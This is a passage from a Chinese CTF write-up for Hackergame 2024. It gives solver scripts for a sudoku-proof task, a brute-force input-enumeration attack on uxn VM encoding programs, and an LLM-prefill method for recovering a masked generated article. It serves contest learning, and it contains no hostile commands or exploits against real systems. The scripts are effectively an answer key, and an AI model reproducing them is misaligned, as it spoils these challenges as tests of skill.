        sudoku_try(s, (y+1) / N + x, (y+1) % N);
    }
}

int test(int s[N][N], int x, int y, int k){
    int i, j;
    
    for (i = 0; i< N; i++) {
        if ( s[x][i] == k || s[i][y] == k ) return 0;
    }
    
    for ( i = x / 3 * 3; i < x / 3 * 3 + 3; i++ )
        for ( j = y / 3 * 3; j < y / 3 * 3 + 3; j++ )
            if ( s[i][j] == k ) return 0;
    
    return 1;
}

void print(int s[N][N]){
    int i, j;
    for ( i = 0; i < N; i++ ) {
        for ( j = 0; j < N; j++)
            printf("%3d", s[i][j]);
        printf("\n");
    }
}
import json
import subprocess

# f=open("r.json")
# data = json.load(f)
# f.close()

sdk =     [[9, 0, 0, 0, 0, 0, 1, 0, 0],
        [8, 0, 0, 0, 0, 0, 2, 0, 0],
        [7, 0, 0, 0, 0, 0, 3, 0, 0],
        [0, 0, 1, 0, 0, 0, 0, 0, 6],
        [0, 2, 0, 0, 0, 0, 0, 7, 0],
        [0, 0, 3, 0, 0, 0, 0, 0, 0],
        [0, 1, 0, 0, 0, 0, 0, 6, 0],
        [0, 0, 2, 0, 0, 0, 0, 0, 7],
        [0, 3, 0, 0, 0, 0, 0, 0, 0]]

ob={"unsolved_grid":[[] for i in range(9)],"solved_grid":[[] for i in range(9)]}

for i in range(9):
    for j in range(9):
        ob["unsolved_grid"][i].append(sdk[i][j])

p=subprocess.Popen(["./hh"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)

out=p.stdout.read().decode().strip()
res = [int(x) for x in out.split()]
print(res)

for i in range(9):
    for j in range(9):
        mv = res[i*9+j]
        if mv >9:
            mv = 9-mv
        ob["solved_grid"][i].append(mv)

f=open("p.json","w")
json.dump(ob,f)
f.close()

跑一下这个和后续命令然后提交proof.json。

0x1D 神秘代码 2

这题有三位,给了两坨神秘的base64文本。题面说第一个是代码第二个是输出。输入时flag的zlib压缩。

那我最开始就考虑了,既然是神秘代码,那是不是也是神秘vm了。是不是得尝试逆向一下指令集。不过其实我们注意到第一题的code中有一坨64字母的base64字符集,可以猜是换表base64。我根据这个信息,尝试去恢复了一些指令集(其实只有两三条,还不确定),最后就摸了。

不过题目中说到,你可能是百度搜索的受害者。所以我就尝试去google一下文件头。结果还真给我发现了。我们直接打开 https://wiki.xxiivv.com/site/uxn.html 。这个网站里面有非常详细的指令集,以及模拟器之类的。我们直接掏出模拟器跑。

简单测了一下,发现还真是换表base64。最好的是,还是流式输入输出的。因此我们可以直接枚举一下输入下一个字母是什么,之后看输出的下一个字母是否匹配。

之后我们再看flag2的程序。我发现他也是流式输出的。因此我们继续跑这个程序。就可以得到两个flag。

在写代码的时候,我是直接调用的emulator的可执行程序的。找个好的linux机子会跑的快一些。

import subprocess
import base64
import zlib

def tryinput(x):
    s = subprocess.Popen("./emu c1.rom", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    s.stdin.write(x)
    s.stdin.flush()
    s.stdin.close()
    return s.stdout.read().decode()


target="K0+ad7rSJdg04D1w4DvhJJyWLZcHdvN0PSOq2qFOUudb1m3tdQmdAm3drEPjr03CQWmTceHfmCm4A21g7IMvAHMMmFLf1YUFbiHJJiE7kc8cQIHpPyJu7ECjeFsczPE90Bq="

curinputs=[[]]

curres=tryinput(bytes(curinputs[0]))

while len(curres)<len(target):
    nex = []
    nclen = (len(curinputs[0])+1)*4//3
    for curi in curinputs:
        for i in range(256):
            finput = curi+[i]
            res = tryinput(bytes(finput))
            if res[:nclen]!=target[:nclen]:
                continue
            nex.append(finput)
    curinputs = nex
    curres=target[:nclen]
    print(len(curres),curinputs)
    for i in curinputs:
        try:
            o=zlib.decompress(bytes(i))
            print(o)
        except:
            pass

之后我尝试去做第三题。我发现第三题不太流式了:每输入3个字母输出8个字母。同时根据前两问的经验,我猜这题的输入也是可拆分的:按照3为单位做任意拆分或者合并,将输出按照8为单位分割后,永远是完全一一对应的。我们简单写个随机程序验证一下,发现确实成立。因此我们可以继续用流式攻击了,每次枚举三个字母并输入。同时为了跑得快,我一次喂好几个块(太多的话会炸,应该是内存不够了),再获取输出。然而这个方法跑完之后,第一个块都找不到对应匹配的输出。

之后我非常纳闷,就研究了一下到底怎么回事。我改了一下模拟器代码,在唯一可能造成不同的device input和output部分加上了log。结合模拟器代码和 https://wiki.xxiivv.com/site/varvara.html#console 。我发现第一次读device是读的0x12,对应输入类型。并且后面用这个数据做了条件跳转。通常情况下,直接执行的时候,这个东西应该是0,因为还没有发生键盘输入。什么时候不是0呢,阅读代码发现是程序有传入参数的时候。因此我们尝试给程序加一下传入参数,发现输出确实被改变了。

之后就是如何找到正确的输入参数。这块正常做法是逆向,但是我摸了,去做其他题了。

不过其实我觉得出题人这题可能确实出的不是很好:写的程序本身太容易被观察出来了。对于注意力惊人的选手,使用模拟器手动做一些差分攻击,三道题基本上都可以推断出完整的加密方式。我当时以为出题人可能会在哪块埋一些特判的暗坑,就没去差分。赛后试了一下发现确实可行。

0x1E 先不说关于我从零开始独自在异世界转生成某大厂家的 LLM 龙猫女仆这件事可不可能这么离谱,发现 Hackergame 内容审查委员会忘记审查题目标题了ごめんね,以及「这么长都快赶上轻小说了真的不会影响用户体验吗🤣」

这标题是不是有点太长了点。

题目给了一坨llm生成的内容,但是有一些字母被替换掉了。我们需要还原原文以拿到flag。

第一问总词数只有100左右,而且被替换的charset只有hackergame。我们看一下替换后的文件,由于单词的分割还是在的,并且大部分字母都被保留了,我们可以很容易地看出句子的结构和意思。我们可以直接用手完成本题,想方便的话还可以导入一下词表做一下半自动化。遇到不确定的地方可以问一问LLM(可以直接问,或者用下一问的技巧)。当然,也可以用词表去枚举哈希值。

In the grand hall of Hackergame 2024, where the walls are lined with screens showing the latest exploits from the cyber world, contestants gathered in a frenzy, their eyes glued to the virtual exploits. The atmosphere was electric, with the smell of freshly brewed coffee mingling with the scent of burnt Ethernet cables. As the first challenge was announced, a team of hackers, dressed in lab coats and carrying laptops, sprinted to the nearest server room, their faces a mix of excitement and determination. The game was on, and the stakes were high, with the ultimate prize being a golden trophy and the bragging rights to say they were the best at cracking codes and hacking systems in the land of the rising sun.

之后看第二问。这一问中模型生成的文章变成了500词的大文章,同时关键字变成了hackergame of ustc。最狠的是空格也被替换了,完全看不出英语结构了。

因此只能考虑从大模型本身入手。如果能从seed下收那当然是最好的(比如说逆推初始状态),但是这种东西感觉可行性不是很高。考虑可行性最高的,那当然是用prefill。比如我们可以先从词表里面枚举下一个可能的token,之后塞给大模型预测后续的,进而评估;不过我觉得直接用前面的token喂给大模型,然后去match后面的,是更稳妥的做法(因为不需要给一个先验假设,大模型吐出什么就是什么概率最高,更贴近题目场景)。

之后考虑工程上怎么实现。然而这个llama_cpp_python是个垃圾玩意,没有办法去做并行输入或者多输出(后来看别人题解,好像还是可以dump出每个词原始的score的,相当于多输出了),配gpu也很麻烦。用cpu一个一个跑有点太慢了(比如我测试的时候一个就要10秒)。之后我考虑如何挪到huggingface的transformers上。

好在新版的transformers支持了读gguf,我们查一下文档(不是很好查)就可以用了。然而从gguf里面读进来的会被去量化成float32,没法继续用量化的版本。好在我们能转成float16不至于炸烂显存。但我本地机子配置不够又体现出来了:显存恰好不够用,有一部分被装到内存里面了。只能去开个机子(配这个机子的环境又花了好久)。后来发现确实效果显著:本地用cpu跑15s的,gpu不到5s;本机gpu30s的,云上的机子1s都要不了。有了大量算力,我们就可以去跑token了。

具体跑的时候还有一些细节:比如使用prefill的prompt需要我们自己处理;要考虑什么情况下字符串匹配的置信度比较高(我随便糊了一个关于字符串长度和x数量的表达式);具体搜索怎么做。关于搜索这个,我比较懒了,只存了当前的最好唯一解,代价就是后续算不出来的话则要回退。如果一次维护答案队列的话还有诸多好处,比如说可以直接用单次输出的score来去做单次匹配,进而不需要批量输出(但是会跑更多的输入)。以及由于运行环境的差别(量化/seed不同),我们最好把temperature之类的参数都设高一点(可以看llama_cpp_python的源码获得原始参数),使得我们能覆盖到所有可能。另外,由于我只保存一个好的结果,怎么处理回退,只有部分结果匹配的情况怎么处理,也需要考虑和尝试。

之后跑代码,跑出结束token的时候就好了。然而跑完后,发现内容的sha256和我们需要的不一样。这可怎么办。我想可能是这里面的随机因素有点大,我再跑一遍。再跑了一遍后,发现有个别词不太一样,但总体基本是完全一致的。所以我就继续多跑几遍,看看都可能有哪些不一样的词。

最后发现,可能有这些替换:the | our ,但这个可以根据语境排除掉,只有the是最合适的。showcase | show offnewcomer | new face。这两个是完全同义替换。不过好在文章里面出现这些词组的情况很少。我手动试了一下,就试出来正确的文章了(其实完全可以写脚本,更快)。

from transformers import AutoTokenizer, AutoModelForCausalLM
from transformers import BitsAndBytesConfig
import torch

device=torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print(device)



filename = "qwen2.5-3b-instruct-q8_0.gguf"
dirp="./"

quantization_config = BitsAndBytesConfig(load_in_8bit=True)

model = AutoModelForCausalLM.from_pretrained(dirp,gguf_file=filename,device_map='auto',torch_dtype=torch.float16)
tokenizer = AutoTokenizer.from_pretrained(dirp,gguf_file=filename)



# model.to(device)
torch.set_grad_enabled(False)
model.requires_grad_(False)



import math

def genprompt(pr):
    pref="<|im_start|>system\nYou are a professional CTF player.<|im_end|>\n<|im_start|>user\n"
    pref+="Write a short article for Hackergame 2024 (中国科学技术大学 (University of Science and Technology of China) 第十一届信息安全大赛) in English. The more funny and unreal the better. About 500 words."+"<|im_end|>\n"
    pref+="<|im_start|>assistant\n"
    pref+=pr
    return pref

def gettail(s):
    xpos=s.find("assistant\n")
    if xpos==-1:
        return ""
    return s[xpos+10:]

def doreplace(text):
    for c in "hackergame of ustc":
        text = text.replace(c, "x")
    return text

def encodem(message):
    model_inputs = tokenizer.encode(message, return_tensors="pt")
    return model_inputs

def decodem(outputs):
    model_output_text = tokenizer.decode(outputs, skip_special_tokens=True)
    return model_output_text

def calc_conf(a):
    n=len(a)
    if n==0:
        return 0
    xc=a.count("x")
    nxc=n-xc
    if nxc>=10:
        return 1.0
    if n<=5:
        return float(nxc>=2)
    lgn=10 if n<10 else 10+(n-9)**0.5
    v=nxc*2/lgn
    v=min(1.0,v)
    return v



import random
f=open("after.txt","r")
cont=f.read()
f.close()

curt=[]
curtxt=decodem(curt)
curr=cont[len(curtxt):]



curt=list([int(x) for x in curt])
curtxt=decodem(curt)
curr=cont[len(curtxt):]
print(curt)
print(curtxt)
print(curr)



MXLEN=12
CONF=0.6

print(curt)

tcnt=0

while True:
    if tcnt>=10:
        curt=curt[:-1]
        curt=list([int(x) for x in curt])
        curtxt=decodem(curt)
        curr=cont[len(curtxt):]
        print("try cut")
        tcnt=0
    print("try")
    print(curtxt)
    # nseed=random.randint(0,2**64-1)
    lasm=decodem(curt)
    prompt=genprompt(lasm)
    input_ids = tokenizer.encode(prompt, return_tensors="pt").to(device)
    model_outputs = model.generate(input_ids, max_new_tokens=MXLEN, do_sample=True, temperature=0.5, top_k=50, top_p=0.96, num_return_sequences=50)
    tcnt+=1
    for mxlen in range(MXLEN,3,-1):
        for i, sample_output in enumerate(model_outputs):
            routput = list(sample_output[input_ids.shape[-1]:])[:mxlen]
            text = decodem(routput)
            if mxlen == MXLEN:
                print(text, list([int(x) for x in routput]))
            # text=gettail(text)
            ctxt=doreplace(text)
            if curr.startswith(ctxt) and calc_conf(ctxt)>=CONF:
                print(routput,text)
                routput = routput[:-2]
                text = decodem(routput)
                curt+=routput
                curtxt+=text
                curr=curr[len(ctxt):]
                print(routput,text)
                print(curtxt)
                print(curt)
                tcnt=0
                break
                
                
f=open("before.txt","w")
f.write(curtxt)
f.close()

0xFF 感想

今年强行空出来一些时间,多打了一阵。虽然确实很累,但最终还是首次在Hackergame分数上了五位数,也是首次拿下了第二。可喜可贺!

以及这次还有好几道就差临门一脚就能做出来的题。如果还有两天时间(或者前两天没去打某亚运会)的话分数大概还能更高。以及今年是边做题边写wp的。好处是写wp的时候不用回忆了,写得能快不少,也充分避免了比赛之后人直接萎了写不出wp的情况。坏处就是挤占了一些做题时间。

关于本次比赛:

题出的好!难度适中,覆盖知识点广,题目又着切合实际的背景,解法比较自然。给出题人点赞!

明年一定再来。希望Hackergame越办越好!

日期: 2024-11-04

标签: CTF